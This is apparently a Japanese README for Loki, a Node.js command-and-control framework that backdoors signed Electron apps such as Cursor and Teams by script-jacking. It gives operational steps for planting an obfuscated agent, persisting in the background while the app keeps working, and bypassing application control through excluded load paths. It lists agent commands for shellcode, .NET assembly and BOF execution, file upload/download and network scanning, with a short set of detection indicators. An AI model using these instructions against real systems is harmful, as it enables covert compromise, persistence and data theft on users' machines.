
🧙♂️ スクリプトジャッキングの脆弱性があるElectronアプリケーション向けNode.jsコマンド&コントロール
Lokiは、Node.jsで書かれたステージ1のコマンド&コントロール(C2)フレームワークで、脆弱なElectronアプリをスクリプトジャックするために構築されています MITRE ATT&CK T1218.015。レッドチーム運用向けに開発されたLokiは、信頼された署名済みElectronアプリを悪用することで、セキュリティソフトウェアの回避とアプリケーション制御のバイパスを実現します。
スクリプトジャックは、実行時に読み込まれるJavaScriptファイルを任意のNode.jsコードで改変することにより、Electronアプリの実行フローを乗っ取ります。この手法は以下の目的に利用できます:
スクリプトジャックを利用して別プロセスへのチェーン実行を行うツールはすでにいくつか存在しますが、Lokiは、コード署名を無効化することなく署名済みElectronアプリへのバックドア設置とホローイングを可能にする初めてのツールです。
Lokiの仕組みの詳細については、こちらのブログ記事をチェックしてください:

| 名前 | 貢献内容 |
|---|---|
| Bobby Cooke | 開発者兼メンテナー |
| Dylan Tran | 開発者 |
| Ellis Springe | アルファテスター |
| Shawn Jones | アセンブリ実行コード |
| Trusted Sec | COFFLoaderコード |
| Simon Exley | ビデオ制作者 |
| Clinton Elves | ビデオ制作者 |
| John Hammond | ビデオ制作者 |
John Hammondによる、Loki C2でCursor AIにバックドアを仕掛けるビデオをチェックしてください! 🎩
Simon Exley & Clinton Elvesによる、Loki C2のセットアップから使い始めるまでのビデオをチェックしてください! 🧙♂️
すべてのエージェントコマンドはネイティブなNode.JSで記述されており、追加の依存関係やライブラリのロードイベントを必要としません。ただし、scexecコマンドとassemblyコマンドは例外で、keytar.nodeとassembly.nodeのライブラリロードを行います。
/を使用したパスを受け付けます。パス内の\は機能しません。Set - アプリケーション制御の除外パスからのノードのロードsetコマンドを使用してassembly.nodeとscexec.nodeのロードパスを変更できます。ls、cat、cp、mvを使用することで、アプリケーション制御ルールを列挙し、除外対象となっている書き込み可能なディレクトリを発見できる可能性があります。setコマンドでロードパスを除外ディレクトリに変更することで、アプリケーション制御をバイパスできます。[04-04-2025 8:50AM MST] advsim$ help set
Set the Node load paths for assembly node and scexec nodes
set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
set assembly_path C:/Users/user/AppData/ExcludedApp/assembly.node
[04-04-2025 8:51AM MST] advsim$ set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
SCEXEC Node Load Path Set to : C:/Users/user/AppData/ExcludedApp/scexec.node
まず、Microsoft TeamsのようにASARのセキュリティ整合性チェックを行わない、脆弱なElectronアプリケーションを特定する必要があります。新しいアプリケーションには、バックドア設置を防ぐ整合性チェックが含まれている場合があります。対象アプリの古いバージョンの方が脆弱である可能性が高くなります。
Electronアプリにバックドアを仕掛ける場合、エージェントをコンパイルする必要はありません。{ELECTRONAPP}/resources/app/の内容をLokiエージェントのファイルに置き換えるだけです。
cdで移動しますjavascript-obfuscatorモジュールをインストールしますnpm install --save-dev javascript-obfuscator
create_agent_payload.jsスクリプトを実行して、ストレージアカウント情報を含むLokiペイロードを作成しますbobby$ node create_agent_payload.js
[+] Provide Azure storage account information:
- Enter Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- Enter SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
[+] Configuration:
- Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
- Meta Container : mllyi2zjmafjm
[+] Updated /Users/bobby/apr2/LokiC2/config.js with storage configuration.
- Enter into the Loki Client UI
Loki Client > Configuration
[+] Modifying PE binaries to have new hashes...
- Payload assembly.node hash : e9d126407264821d3c2d324da0e2d1bc13cbc53e7c56340fe12b07f69b707f02
- Payload keytar.node hash : 292c14ffebd6cae3df99d9fbee525e29a5a704f076b82207eb3e650de45b075d
[+] Payload ready!
- Obfuscated payload in the ./app directory
./app/に出力されます{ELECTRONAPP}/resources/にディレクトリを変更します./app/フォルダを{ELECTRONAPP}/resources/app/にコピーしますLokiのGUIクライアントを起動します
メニューバーからLoki Client > Configurationをクリックして設定ウィンドウを開きます
ストレージアカウントの詳細を入力してSaveをクリックします

エージェントがダッシュボードに表示されます
ダッシュボードのテーブルからエージェントをクリックしてエージェントウィンドウを開きます
Lokiが正常に動作することをテストします
Lokiを使用する最も簡単な方法は、{ELECTRONAPP}/resources/app/内のファイルをLokiのファイルに置き換えることです。これによりアプリはホローアウトされ、通常通り機能しなくなります -- Lokiがその機能を置き換えたことになります。
本当にElectronアプリケーションを動作させ続け、バックグラウンドでもLokiを展開したい場合、希望はまだあります! John Hammondと私は、実際のElectronアプリケーションを動作させ続ける方法を考案しました。必要なファイルをこのリポジトリの/loki/backdoor/init.jsに追加しました。
これは現在、John Hammondによって脆弱性が発見されたCursor向けに設定されています。
これを行うには以下の手順が必要です:
package.json以外のすべてのLokiファイルをcursor/resources/app/に貼り付けます
package.jsonは置き換えないでください/loki/backdoor/init.jsをcursor/resources/app/にコピーしますcursor/resources/app/package.jsonの内容を以下のように変更します:
"main":"init.js",に設定"type":"module",を削除"private":true,を削除Cursor.exeはクリック/実行時にinit.jsをロードしますinit.jsはpackage.jsonを読み取りますinit.jsは"main":"init.js",を"main":"main.js",に変更します
main.jsはLokiですinit.jsはLokiを指す新しいCursor.exeを生成し、親プロセスから切り離しますinit.jsは再度package.jsonを読み取りますinit.jsは"main":"main.js",をに変更します
このようにして、アプリは永続的にバックドアが仕掛けられ、通常通り動作します。Cursorアプリが終了しても、Lokiはバックグラウンドで実行され続けます。
将来的にこれを自動化するスクリプトを作成する予定です。
以下は、エージェントとクライアントをビルドするためのコンパイル手順です。手順はWindows、Linux、macOSを含む複数のプラットフォームを対象としています。クライアントは対象のプラットフォームとアーキテクチャでコンパイルすることを推奨します。
Electronアプリケーションにバックドアを仕掛ける場合、エージェントをコンパイルする必要はありません。
エージェントをコンパイルして実運用で使用することはお勧めしません。エージェントのコンパイル手順は開発用です。
~/Downloads/Teams/Teams.exeのような異常なディレクトリからのElectronアプリの実行*.blob.core.windows.netへのビーコン通信を行うElectronアプリnetstat.exeやwhoami.exeなどの子プロセスを生成するElectronアプリpackage.json内の名前を持つディレクトリが~/AppData/Roaming/{NAME}に作成されます。%LOCALAPPDATA%\Microsoft\Teams\current\appディレクトリが作成される%LOCALAPPDATA%\Microsoft\Teams\current\app.asarファイルがTeams以外のインストーラー/アップデータによって作成/変更されるこのプロジェクトはBusiness Source License 1.1の下でライセンスされています。非商用利用はライセンスの条件に基づき許可されています。商用利用には作者の明示的な許可が必要です。2030年4月3日に、このライセンスはApache 2.0に変換されます。詳細はLICENSEを参照してください。
| コマンド | 説明 |
|---|
help | ヘルプを表示します。使用法: help または help scan |
pwd | 現在の作業ディレクトリを表示 |
ls | ファイルとディレクトリの一覧表示 |
cat | ファイルの内容を表示 |
env | プロセスの環境変数を表示 |
spawn | 子プロセスを生成 |
drives | ドライブを一覧表示 |
mv | ファイルを新しい宛先に移動 |
sleep | ジッター付きで秒単位でスリープ |
cp | ソースファイルを宛先にコピー |
exit-all | エージェントを終了し、以降コールバックしなくなります |
load | ディスクからNode PEファイルをプロセスにロード |
scexec | シェルコードを実行 |
assembly | .NETアセンブリを実行しコマンド出力を取得 |
upload | ローカルのオペレーターマシンからリモートのエージェントマシンへファイルをアップロード |
download | リモートのエージェントマシンからローカルのオペレーターマシンへファイルをダウンロード |
scan | 選択したポートでCIDRレンジに対してTCPネットワークスキャンを実行 |
dns | DNSルックアップ。システムのDNS設定を利用 |
set | assemblyノードとscexecノードのNodeロードパスを設定 |
bof | COFFファイルを実行して出力を返す |
"main":"./out/main.js",./out/main.js"は実際のCursorアプリケーションですinit.jsは実際のCursorを指す新しいCursor.exeを生成し、親プロセスから切り離しますinit.jsが終了を検知しますinit.jsは3回目のpackage.jsonの読み取りを行いますinit.jsは"main":"./out/main.js",を"main":"init.js",に変更します